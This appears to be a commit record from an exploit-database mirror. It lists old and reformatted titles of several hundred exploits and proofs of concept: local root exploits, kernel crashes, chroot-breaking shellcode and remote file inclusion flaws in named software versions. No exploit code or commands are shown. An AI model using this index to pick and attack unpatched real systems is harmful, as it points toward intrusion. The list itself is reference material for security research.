exploit-db-mirror/platforms/php/remote/29290.c
Offensive Security ca6eab30f8 DB: 2016-03-23
6 new exploits

Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit
Linux Kernel 2.2.x - 2.4.x - ptrace/kmod Local Root Exploit

Apache HTTP Server 2.x Memory Leak Exploit
Apache HTTP Server 2.x - Memory Leak Exploit

Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit
Mac OS X <= 10.2.4 - DirectoryService (PATH) Local Root Exploit

CommuniGate Pro Webmail 4.0.6 Session Hijacking Exploit
CommuniGate Pro Webmail 4.0.6 - Session Hijacking Exploit

OpenBSD (ibcs2_exec) Kernel Local Exploit
OpenBSD - (ibcs2_exec) Kernel Local Exploit

HP-UX B11.11 /usr/bin/ct Local Format String Root Exploit
HP-UX B11.11 - /usr/bin/ct Local Format String Root Exploit

traceroute Local Root Exploit
traceroute - Local Root Exploit

vixie-cron Local Root Exploit
vixie-cron - Local Root Exploit

BSDi 3.0 inc Local Root Buffer Overflow Exploit
BSDi 3.0 inc - Local Root Buffer Overflow Exploit

GLIBC (via /bin/su) Local Root Exploit
GLIBC (via /bin/su) - Local Root Exploit

Linux Kernel 2.2 (TCP/IP Weakness) Exploit
Linux Kernel 2.2 - (TCP/IP Weakness) Exploit

BSD chpass (pw_error(3)) Local Root Exploit
BSD chpass - (pw_error(3)) Local Root Exploit

Tru64 UNIX 4.0g /usr/bin/at Local Root Exploit
Tru64 UNIX 4.0g - /usr/bin/at Local Root Exploit
FreeBSD 3.5.1/4.2 ports package xklock Local Root Exploit
FreeBSD 3.5.1/4.2 Ports Package elvrec Local Root Exploit
Progress Database Server 8.3b (prodb) Local Root Exploit
FreeBSD 3.5.1/4.2 - ports package xklock Local Root Exploit
FreeBSD 3.5.1/4.2 - Ports Package elvrec Local Root Exploit
Progress Database Server 8.3b - (prodb) Local Root Exploit

Xt Library Local Root Command Execution Exploit
Xt Library - Local Root Command Execution Exploit

AIX lquerylv Local Root Buffer Overflow Exploit
AIX lquerylv - Local Root Buffer Overflow Exploit
IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow
Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit
IRIX 5.3 - /usr/sbin/iwsh Local Root Buffer Overflow
Solaris 5.5.1 X11R6.3 - xterm (-xrm) Local Root Exploit

Mac OS X Panther Internet Connect Local Root Exploit
Mac OS X - Panther Internet Connect Local Root Exploit

Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit
Linux Kernel - File Offset Pointer Handling Memory Disclosure Exploit

SquirrelMail (chpasswd) Local Root Bruteforce Exploit
SquirrelMail - (chpasswd) Local Root Bruteforce Exploit

CDRDAO Local Root Exploit
CDRDAO - Local Root Exploit

SCO Openserver 5.0.7 (MMDF deliver) Local Root Exploit
SCO Openserver 5.0.7 - (MMDF deliver) Local Root Exploit

OpenText FirstClass 8.0 HTTP Daemon /Search Remote DoS
OpenText FirstClass 8.0 - HTTP Daemon /Search Remote DoS

Solaris 8/9 passwd circ() Local Root Exploit
Solaris 8/9 - passwd circ() Local Root Exploit

PaX Double-Mirrored VMA munmap Local Root Exploit
PaX - Double-Mirrored VMA munmap Local Root Exploit

Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow
Mac OS X <= 10.3.8 - (CF_CHARSET_PATH) Local Root Buffer Overflow

Solaris 10.x ESRI Arcgis Local Root Format String Exploit
Solaris 10.x - ESRI Arcgis Local Root Format String Exploit

dSMTP Mail Server 3.1b Linux Remote Root Format String Exploit
dSMTP Mail Server 3.1b - Linux Remote Root Format String Exploit

AIX 5.2 paginit Local Root Exploit
AIX 5.2 - paginit Local Root Exploit

Solaris 9 / 10 ld.so Local Root Exploit (1)
Solaris 9 / 10 - ld.so Local Root Exploit (1)

phpBB 2.0.15 - Remote PHP Code Execution Exploit (Metasploit
phpBB 2.0.15 - Remote PHP Code Execution Exploit (Metasploit)

vBulletin <= 3.0.6 (Template) Command Execution Exploit (Metasploit
vBulletin <= 3.0.6 (Template) Command Execution Exploit (Metasploit)

Microsoft Windows XP SP2 (rdpwd.sys) Remote Kernel DoS Exploit
Microsoft Windows XP SP2 - (rdpwd.sys) Remote Kernel DoS Exploit

WordPress <= 1.5.1.3 - Remote Code Execution eXploit (Metasploit
WordPress <= 1.5.1.3 - Remote Code Execution exploit (Metasploit)

Solaris <= 10 LPD Arbitrary File Delete Exploit (Metasploit
Solaris <= 10 LPD Arbitrary File Delete Exploit (Metasploit)

Debian 2.2 /usr/bin/pileup Local Root Exploit
Debian 2.2 - /usr/bin/pileup Local Root Exploit

Solaris 2.6/7/8/9 (ld.so.1) Local Root Exploit (sparc)
Solaris 2.6/7/8/9 - (ld.so.1) Local Root Exploit (sparc)

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)
Wireless Tools 26 - (iwconfig) Local Root Exploit (some setuid)

Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
Qpopper <= 4.0.8 - (poppassd) Local Root Exploit (freebsd)

Solaris 10 DtPrintinfo/Session Local Root Exploit (x86)
Solaris 10 - DtPrintinfo/Session Local Root Exploit (x86)

XMail 1.21 (-t Command Line Option) Local Root Buffer Overflow Exploit
XMail 1.21 - (-t Command Line Option) Local Root Buffer Overflow Exploit

linux-ftpd-ssl 0.17 (MKD/CWD) Remote Root Exploit
linux-ftpd-ssl 0.17 - (MKD/CWD) Remote Root Exploit

QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit
QNX Neutrino 6.2.1 - (phfont) Race Condition Local Root Exploit

FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit
FreeBSD 6.0 - (nfsd) Remote Kernel Panic Denial of Service Exploit

Apple Mac OS X (/usr/bin/passwd) Custom Passwd Local Root Exploit
Apple Mac OS X - (/usr/bin/passwd) Custom Passwd Local Root Exploit

Horde <= 3.0.9/3.1.0 - (Help Viewer) Remote Code Execution (Metasploit
Horde <= 3.0.9/3.1.0 - (Help Viewer) Remote Code Execution (Metasploit)

Rocks Clusters <= 4.1 (mount-loop) Local Root Exploit
Rocks Clusters <= 4.1 - (mount-loop) Local Root Exploit

Solaris <= 10 sysinfo() Local Kernel Memory Disclosure Exploit
Solaris <= 10 - sysinfo() Local Kernel Memory Disclosure Exploit

liblesstif <= 2-0.93.94-4mdk (DEBUG_FILE) Local Root Exploit
liblesstif <= 2-0.93.94-4mdk - (DEBUG_FILE) Local Root Exploit

Mac OS X <= 10.4.7 Mach Exception Handling Local Root Exploit
Mac OS X <= 10.4.7 - Mach Exception Handling Local Root Exploit

Xcode OpenBase <= 9.1.5 (root file create) Local Root Exploit (OSX)
Xcode OpenBase <= 9.1.5 - (root file create) Local Root Exploit (OSX)
HP-UX 11i (swpackage) Stack Overflow Local Root Exploit
HP-UX 11i (swmodify) Stack Overflow Local Root Exploit
HP-UX 11i (swask) Format String Local Root Exploit
HP-UX 11i (LIBC TZ enviroment variable) Local Root Exploit
HP-UX 11i - (swpackage) Stack Overflow Local Root Exploit
HP-UX 11i - (swmodify) Stack Overflow Local Root Exploit
HP-UX 11i - (swask) Format String Local Root Exploit
HP-UX 11i - (LIBC TZ enviroment variable) Local Root Exploit

FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit
FreeBSD 6.1 - (/dev/crypto) Local Kernel Denial of Service Exploit

Apple Airport 802.11 Probe Response Kernel Memory Corruption PoC
Apple Airport - 802.11 Probe Response Kernel Memory Corruption PoC
Xcode OpenBase <= 10.0.0 (symlink) Local Root Exploit (OSX)
Xcode OpenBase <= 10.0.0 (unsafe system call) Local Root Exploit (OSX)
Xcode OpenBase <= 10.0.0 - (symlink) Local Root Exploit (OSX)
Xcode OpenBase <= 10.0.0 - (unsafe system call) Local Root Exploit (OSX)

Intel 2200BG 802.11 Beacon frame Kernel Memory Corruption Exploit
Intel 2200BG 802.11 - Beacon frame Kernel Memory Corruption Exploit

Mac OS X 10.4.x Kernel shared_region_map_file_np() Memory Corruption
Mac OS X 10.4.x Kernel - shared_region_map_file_np() Memory Corruption

Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption
Intel 2200BG 802.11 - disassociation packet Kernel Memory Corruption
Plan 9 Kernel (devenv.c OTRUNC/pwrite) Local Exploit
Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit
Plan 9 Kernel - (devenv.c OTRUNC/pwrite) Local Exploit
Ubuntu/Debian Apache 1.3.33/1.3.34 - (CGI TTY) Local Root Exploit

madwifi <= 0.9.2.1 WPA/RSN IE Remote Kernel Buffer Overflow Exploit
madwifi <= 0.9.2.1 - WPA/RSN IE Remote Kernel Buffer Overflow Exploit

PHP FirstPost 0.1 (block.php Include) Remote File Inclusion Exploit
PHP FirstPost 0.1 - (block.php Include) Remote File Inclusion Exploit
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit
IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit
IBM AIX <= 5.3 sp6 - capture Terminal Sequence Local Root Exploit
IBM AIX <= 5.3 sp6 - pioout Arbitrary Library Loading Local Root Exploit
IBM AIX <= 5.3 sp6 - ftp gets() Local Root Exploit

Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit
Linux Kernel 2.4/2.6 - x86-64 System Call Emulation Exploit
Solaris 10 x86/sparc sysinfo Kernel Memory Disclosure Exploit
Solaris fifofs I_PEEK Kernel Memory Disclosure Exploit (x86/sparc)
Solaris 10 - x86/sparc sysinfo Kernel Memory Disclosure Exploit
Solaris - fifofs I_PEEK Kernel Memory Disclosure Exploit (x86/sparc)

Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow PoC
Apple Mac OS X 10.4.x Kernel - i386_set_ldt() Integer Overflow PoC

Apple Mac OS X xnu <= 1228.0 mach-o Local Kernel Denial of Service PoC
Apple Mac OS X xnu <= 1228.0 - mach-o Local Kernel Denial of Service PoC

Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC
Cisco VPN Client - IPSec Driver Local kernel system pool Corruption PoC
DESlock+ <= 3.2.6 (list) Local Kernel Memory Leak PoC
DESlock+ <= 3.2.6 DLMFENC.sys Local Kernel ring0 link list zero PoC
DESlock+ <= 3.2.6 - (list) Local Kernel Memory Leak PoC
DESlock+ <= 3.2.6 - DLMFENC.sys Local Kernel ring0 link list zero PoC

DESlock+ <= 3.2.6 DLMFDISK.sys Local kernel ring0 SYSTEM Exploit
DESlock+ <= 3.2.6 - DLMFDISK.sys Local kernel ring0 SYSTEM Exploit

SCO UnixWare < 7.1.4 p534589 (pkgadd) Local Root Exploit
SCO UnixWare < 7.1.4 p534589 - (pkgadd) Local Root Exploit

SCO UnixWare Merge mcd Local Root Exploit
SCO UnixWare Merge - mcd Local Root Exploit

Deterministic Network Enhancer dne2000.sys kernel ring0 SYSTEM Exploit
Deterministic Network Enhancer - dne2000.sys kernel ring0 SYSTEM Exploit

OpenBSD 4.0 (FIRST ANIMATED EXPLOIT) Local Root Exploit (vga)
OpenBSD 4.0 - Local Root Exploit (vga)

DESlock+ <= 3.2.7 (probe read) Local Kernel Denial of Service PoC
DESlock+ <= 3.2.7 - (probe read) Local Kernel Denial of Service PoC

QNX 6.4.0 bitflipped elf binary (id) Kernel Panic Exploit
QNX 6.4.0 - bitflipped elf binary (id) Kernel Panic Exploit

FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit
FreeBSD 7.x - (Dumping Environment) Local Kernel Panic Exploit
FreeBSD 7.0/7.1 (ktimer) Local Kernel Root Exploit
Mac OS X xnu <= 1228.3.13 (zip-notify) Remote Kernel Overflow PoC
Mac OS X xnu <= 1228.3.13 (macfsstat) Local Kernel Memory Leak/DoS
Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC
FreeBSD 7.0/7.1 - (ktimer) Local Kernel Root Exploit
Mac OS X xnu <= 1228.3.13 - (zip-notify) Remote Kernel Overflow PoC
Mac OS X xnu <= 1228.3.13 - (macfsstat) Local Kernel Memory Leak/DoS
Mac OS X xnu <= 1228.3.13 - (profil) Kernel Memory Leak/DoS PoC

Mac OS X xnu <= 1228.x (hfs-fcntl) Local Kernel Root Exploit
Mac OS X xnu <= 1228.x - (hfs-fcntl) Local Kernel Root Exploit
Solaris 10 / OpenSolaris (dtrace) Local Kernel Denial of Service PoC
Solaris 10 / OpenSolaris (fasttrap) Local Kernel Denial of Service PoC
Solaris 10 / OpenSolaris - (dtrace) Local Kernel Denial of Service PoC
Solaris 10 / OpenSolaris - (fasttrap) Local Kernel Denial of Service PoC

DESlock+ 4.0.2 dlpcrypt.sys Local Kernel ring0 Code Execution Exploit
DESlock+ 4.0.2 - dlpcrypt.sys Local Kernel ring0 Code Execution Exploit

FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of Service Exploit
FreeBSD 7.2-RELEASE - SCTP Local Kernel Denial of Service Exploit

VMWare Fusion <= 2.0.5 vmx86 kext Local kernel Root Exploit
VMWare Fusion <= 2.0.5 - vmx86 kext Local kernel Root Exploit

Linux Kernel < 2.6.31-rc4 nfs4_proc_lock() Denial of Service
Linux Kernel < 2.6.31-rc4 - nfs4_proc_lock() Denial of Service

Authentium SafeCentral <= 2.6 shdrv.sys Local kernel ring0 SYSTEM Exploit
Authentium SafeCentral <= 2.6 - shdrv.sys Local kernel ring0 SYSTEM Exploit
Windows 2000/XP/2003 Win32k.sys SfnLOGONNOTIFY Local kernel Denial of Service Vulnerability
Windows 2000/XP/2003 Win32k.sys SfnINSTRING Local kernel Denial of Service Vulnerability
Windows 2000/XP/2003 - Win32k.sys SfnLOGONNOTIFY Local kernel Denial of Service Vulnerability
Windows 2000/XP/2003 - Win32k.sys SfnINSTRING Local kernel Denial of Service Vulnerability

linux/x86 chroot & standart 66 bytes
linux/x86 - chroot & standart 66 bytes
linux/x86 break chroot 34 bytes
linux/x86 break chroot 46 bytes
linux/x86 break chroot execve /bin/sh 80 bytes
linux/x86 - break chroot 34 bytes
linux/x86 - break chroot 46 bytes
linux/x86 - break chroot execve /bin/sh 80 bytes

linux chroot()/execve() code
linux - chroot()/execve() code

linux/x86 break chroot setuid(0) + /bin/sh 132 bytes
linux/x86 - break chroot setuid(0) + /bin/sh 132 bytes

linux/x86 break chroot 79 bytes
linux/x86 - break chroot 79 bytes
FreeBSD Kernel nfs_mount() Exploit
FreeBSD Kernel mountnfs() Exploit
FreeBSD Kernel - nfs_mount() Exploit
FreeBSD Kernel - mountnfs() Exploit

FreeBSD 8.1/7.3 vm.pmap Kernel Local Race Condition
FreeBSD 8.1/7.3 - vm.pmap Kernel Local Race Condition

Kingsoft Antivirus <= 2010.04.26.648 Kernel Buffer Overflow Exploit
Kingsoft Antivirus <= 2010.04.26.648 - Kernel Buffer Overflow Exploit

Linux Kernel Stack Infoleaks Vulnerability
Linux Kernel - Stack Infoleaks Vulnerability

Linux Kernel 'setup_arg_pages()' Denial of Service Vulnerability
Linux Kernel - 'setup_arg_pages()' Denial of Service Vulnerability

IBM Tivoli Storage Manager (TSM) Local Root
IBM Tivoli Storage Manager (TSM) - Local Root

DESlock+ <= 4.1.10 vdlptokn.sys Local Kernel ring0 SYSTEM Exploit
DESlock+ <= 4.1.10 - vdlptokn.sys Local Kernel ring0 SYSTEM Exploit

Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS
Linux Kernel < 2.6.37-rc2 - TCP_MAXSEG Kernel Panic DoS

IPComp encapsulation pre-auth kernel memory corruption
IPComp - encapsulation pre-auth kernel memory corruption

Linux Kernel 'perf_count_sw_cpu_clock' event Denial of Service
Linux Kernel - 'perf_count_sw_cpu_clock' event Denial of Service

Mac OS X < 10.6.7 Kernel Panic Exploit
Mac OS X < 10.6.7 - Kernel Panic Exploit

Calibre E-Book Reader Local Root Exploit
Calibre E-Book Reader - Local Root Exploit (1)
Calibre E-Book Reader Local Root Exploit
Calibre E-Book Reader Local Root Race Condition Exploit
Calibre E-Book Reader - Local Root Exploit (2)
Calibre E-Book Reader - Local Root Race Condition Exploit

Calibre E-Book Reader Local Root
Calibre E-Book Reader - Local Root

Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS
Vanilla FirstLastNames 1.3.2 Plugin - Persistant XSS

Webspell FIRSTBORN Movie-Addon Blind SQL Injection Vulnerability
Webspell FIRSTBORN Movie-Addon - Blind SQL Injection Vulnerability

Linux kernel 2.0/2.1 SIGIO Vulnerability
Linux kernel 2.0/2.1 - SIGIO Vulnerability

Digital UNIX <= 4.0 D_FreeBSD <= 2.2.4_HP HP-UX 10.20/11.0_IBM AIX <= 3.2.5_Linux kernel 2.0/2.1_NetBSD 1.2_Solaris <= 2.5.1 Smurf Denial of Service Vulnerability
Digital UNIX <= 4.0 D_FreeBSD <= 2.2.4_HP HP-UX 10.20/11.0_IBM AIX <= 3.2.5_Linux kernel 2.0/2.1_NetBSD 1.2_Solaris <= 2.5.1 - Smurf Denial of Service Vulnerability

Slackware Linux <= 3.5 /etc/group missing results in Root access Vulnerability
Slackware Linux <= 3.5 - /etc/group missing results in Root access Vulnerability

Linux kernel 2.0/2.1/2.2 autofs Vulnerability
Linux kernel 2.0/2.1/2.2 - autofs Vulnerability
Linux kernel 2.0 TCP Port DoS Vulnerability
Linux kernel 2.2 ldd core Vulnerability
Linux kernel 2.0 - TCP Port DoS Vulnerability
Linux kernel 2.2 - ldd core Vulnerability

Linux kernel 2.0.33 IP Fragment Overlap Vulnerability
Linux kernel 2.0.33 - IP Fragment Overlap Vulnerability

Linux kernel 2.0/2.0.33 i_count Overflow Vulnerability
Linux kernel 2.0/2.0.33 - i_count Overflow Vulnerability

Linux kernel 2.0.37 Segment Limit Vulnerability
Linux kernel 2.0.37 - Segment Limit Vulnerability

BSD/OS <= 4.0_FreeBSD <= 3.2_Linux kernel <= 2.3_NetBSD <= 1.4 Shared Memory Denial of Service Vulnerability
BSD/OS <= 4.0_FreeBSD <= 3.2_Linux kernel <= 2.3_NetBSD <= 1.4 - Shared Memory Denial of Service Vulnerability

Linux kernel 2.2 Predictable TCP Initial Sequence Number Vulnerability
Linux kernel 2.2 - Predictable TCP Initial Sequence Number Vulnerability

Debian 2.1_Linux kernel 2.0.x_RedHat 5.2 Packet Length with Options Vulnerability
Debian 2.1_Linux kernel 2.0.x_RedHat 5.2 - Packet Length with Options Vulnerability

FreeBSD Kernel SCTP Remote NULL Ptr Dereference DoS
FreeBSD Kernel - SCTP Remote NULL Ptr Dereference DoS

Linux Kernel 2.2.x Non-Readable File Ptrace Vulnerability
Linux Kernel 2.2.x - Non-Readable File Ptrace Vulnerability

Linux kernel 2.1.89/2.2.x Zero-Length Fragment Vulnerability
Linux kernel 2.1.89/2.2.x - Zero-Length Fragment Vulnerability

Linux kernel 2.4 IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion
Linux kernel 2.4 - IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion

Microsoft Windows Kernel Intel x64 SYSRET PoC
Microsoft Windows Kernel - Intel x64 SYSRET PoC

Microsoft Visual Studio RAD Support Buffer Overflow Vulnerability (Metasploit
Microsoft Visual Studio RAD Support Buffer Overflow Vulnerability (Metasploit)

Linux kernel 2.2/2.4 procfs Stream Redirection to Process Memory Vulnerability
Linux kernel 2.2/2.4 - procfs Stream Redirection to Process Memory Vulnerability

CylantSecure 1.0 Kernel Module Syscall Rerouting Vulnerability
CylantSecure 1.0 - Kernel Module Syscall Rerouting Vulnerability

HP-UX 11_Linux kernel 2.4_Windows 2000/NT 4.0_IRIX 6.5 Small TCP MSS DoS
HP-UX 11_Linux kernel 2.4_Windows 2000/NT 4.0_IRIX 6.5 - Small TCP MSS DoS

Linux kernel 2.2/2.4 Deep Symbolic Link Denial of Service Vulnerability
Linux kernel 2.2/2.4 - Deep Symbolic Link Denial of Service Vulnerability

Linux Kernel 2.2/2.4 Ptrace/Setuid Exec Vulnerability
Linux Kernel 2.2/2.4 - Ptrace/Setuid Exec Vulnerability

Linux Kernel 2.2.x/2.3/2.4.x d_path() Path Truncation Vulnerability
Linux Kernel 2.2.x/2.3/2.4.x - d_path() Path Truncation Vulnerability

grsecurity Kernel Patch 1.9.4 Linux Kernel Memory Protection Weakness
grsecurity Kernel Patch 1.9.4 - Linux Kernel Memory Protection Weakness
BubbleMon 1.x Kernel Memory File Descriptor Leakage Vulnerability
ASCPU 0.60 Kernel Memory File Descriptor Leakage Vulnerability
BubbleMon 1.x Kernel - Memory File Descriptor Leakage Vulnerability
ASCPU 0.60 Kernel - Memory File Descriptor Leakage Vulnerability

Linux Kernel 2.0.x/2.2.x/2.4.x_FreeBSD 4.x Network Device Driver Frame Padding Information Disclosure
Linux Kernel 2.0.x/2.2.x/2.4.x_FreeBSD 4.x - Network Device Driver Frame Padding Information Disclosure

Linux kernel 2.2.x/2.4.x I/O System Call File Existence Weakness
Linux kernel 2.2.x/2.4.x - I/O System Call File Existence Weakness

Linux kernel 2.2./2.4.x /proc Filesystem Potential Information Disclosure Vulnerability
Linux kernel 2.2./2.4.x - /proc Filesystem Potential Information Disclosure Vulnerability

Centrinity FirstClass 7.1 HTTP Server Directory Disclosure Vulnerability
Centrinity FirstClass 7.1 - HTTP Server Directory Disclosure Vulnerability

Linux VServer Project 1.2x CHRoot Breakout Vulnerability
Linux VServer Project 1.2x - CHRoot Breakout Vulnerability

Sun Solaris 8/9 Unspecified Passwd Local Root Compromise Vulnerability
Sun Solaris 8/9 - Unspecified Passwd Local Root Compromise Vulnerability

Centrinity FirstClass HTTP Server 5/7 TargetName Parameter Cross-Site Scripting Vulnerability
Centrinity FirstClass HTTP Server 5/7 - TargetName Parameter Cross-Site Scripting Vulnerability

Darwin Kernel 7.1 Mach File Parsing Local Integer Overflow Vulnerability
Darwin Kernel 7.1 - Mach File Parsing Local Integer Overflow Vulnerability

Linux Kernel NFS and EXT3 Combination Remote Denial of Service Vulnerability
Linux Kernel - NFS and EXT3 Combination Remote Denial of Service Vulnerability
Campsite 2.6.1 SubscriptionSection.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 SystemPref.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - SubscriptionSection.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - SystemPref.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Template.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 TimeUnit.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Template.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - TimeUnit.php g_documentRoot Parameter Remote File Inclusion

Sienzo Digital Music Mentor DSKernel2.DLL ActiveX Control Stack Buffer Overflow Vulnerabilities
Sienzo Digital Music Mentor - DSKernel2.DLL ActiveX Control Stack Buffer Overflow Vulnerabilities
Campsite 2.6.1 Alias.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Article.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleAttachment.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleComment.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleData.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleImage.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleIndex.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticlePublish.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleTopic.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ArticleTypeField.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Country.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 DatabaseObject.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Alias.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Article.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleAttachment.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleComment.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleData.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleImage.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleIndex.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticlePublish.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleTopic.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ArticleTypeField.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Country.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - DatabaseObject.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Event.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 IPAccess.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Image.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Issue.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 IssuePublish.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Language.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Log.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 LoginAttempts.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Publication.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Section.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 ShortURL.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Subscription.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 SubscriptionDefaultTime.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 Topic.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 UrlType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 User.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 UserType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Event.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - IPAccess.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Image.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Issue.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - IssuePublish.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Language.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Log.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - LoginAttempts.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Publication.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Section.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - ShortURL.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Subscription.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - SubscriptionDefaultTime.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - Topic.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - UrlType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - User.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - UserType.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 implementation/management/configuration.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 implementation/management/db_connect.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - implementation/management/configuration.php g_documentRoot Parameter Remote File Inclusion
Campsite 2.6.1 - implementation/management/db_connect.php g_documentRoot Parameter Remote File Inclusion

Linux Kernel 2.6.22 IPv6 Hop-By-Hop Header Remote Denial of Service Vulnerability
Linux Kernel 2.6.22 - IPv6 Hop-By-Hop Header Remote Denial of Service Vulnerability

CORE FORCE Firewall 0.95.167 and Registry Modules Multiple Local Kernel Buffer Overflow Vulnerabilities
CORE FORCE Firewall 0.95.167 and Registry Modules - Multiple Local Kernel Buffer Overflow Vulnerabilities

Fedora 8/9 Linux Kernel 'utrace_control' NULL Pointer Dereference Denial of Service Vulnerability
Fedora 8/9 Linux Kernel - 'utrace_control' NULL Pointer Dereference Denial of Service Vulnerability

MySQL <= 6.0.9 GeomFromWKB() Function First Argument Geometry Value Handling DoS
MySQL <= 6.0.9 - GeomFromWKB() Function First Argument Geometry Value Handling DoS

VMware Workstations 10.0.0.40273 vmx86.sys Arbitrary Kernel Read
VMware Workstations 10.0.0.40273 - vmx86.sys Arbitrary Kernel Read

Linux Kernel <= 3.0.4 '/proc/interrupts' Password Length Local Information Disclosure Weakness
Linux Kernel <= 3.0.4 - '/proc/interrupts' Password Length Local Information Disclosure Weakness

Linux Kernel Network Namespace Remote Denial of Service Vulnerability
Linux Kernel - Network Namespace Remote Denial of Service Vulnerability

Linux Kernel <= 3.1.8 KVM Local Denial of Service Vulnerability
Linux Kernel <= 3.1.8 - KVM Local Denial of Service Vulnerability

Linux Kernel 2.6.x 'rds_recvmsg()' Function Local Information Disclosure Vulnerability
Linux Kernel 2.6.x - 'rds_recvmsg()' Function Local Information Disclosure Vulnerability

Linux Kernel 3.2.x 'uname()' System Call Local Information Disclosure Vulnerability
Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure Vulnerability

Linux Kernel <= 3.3.5 Btrfs CRC32C feature Infinite Loop Local Denial of Service Vulnerability
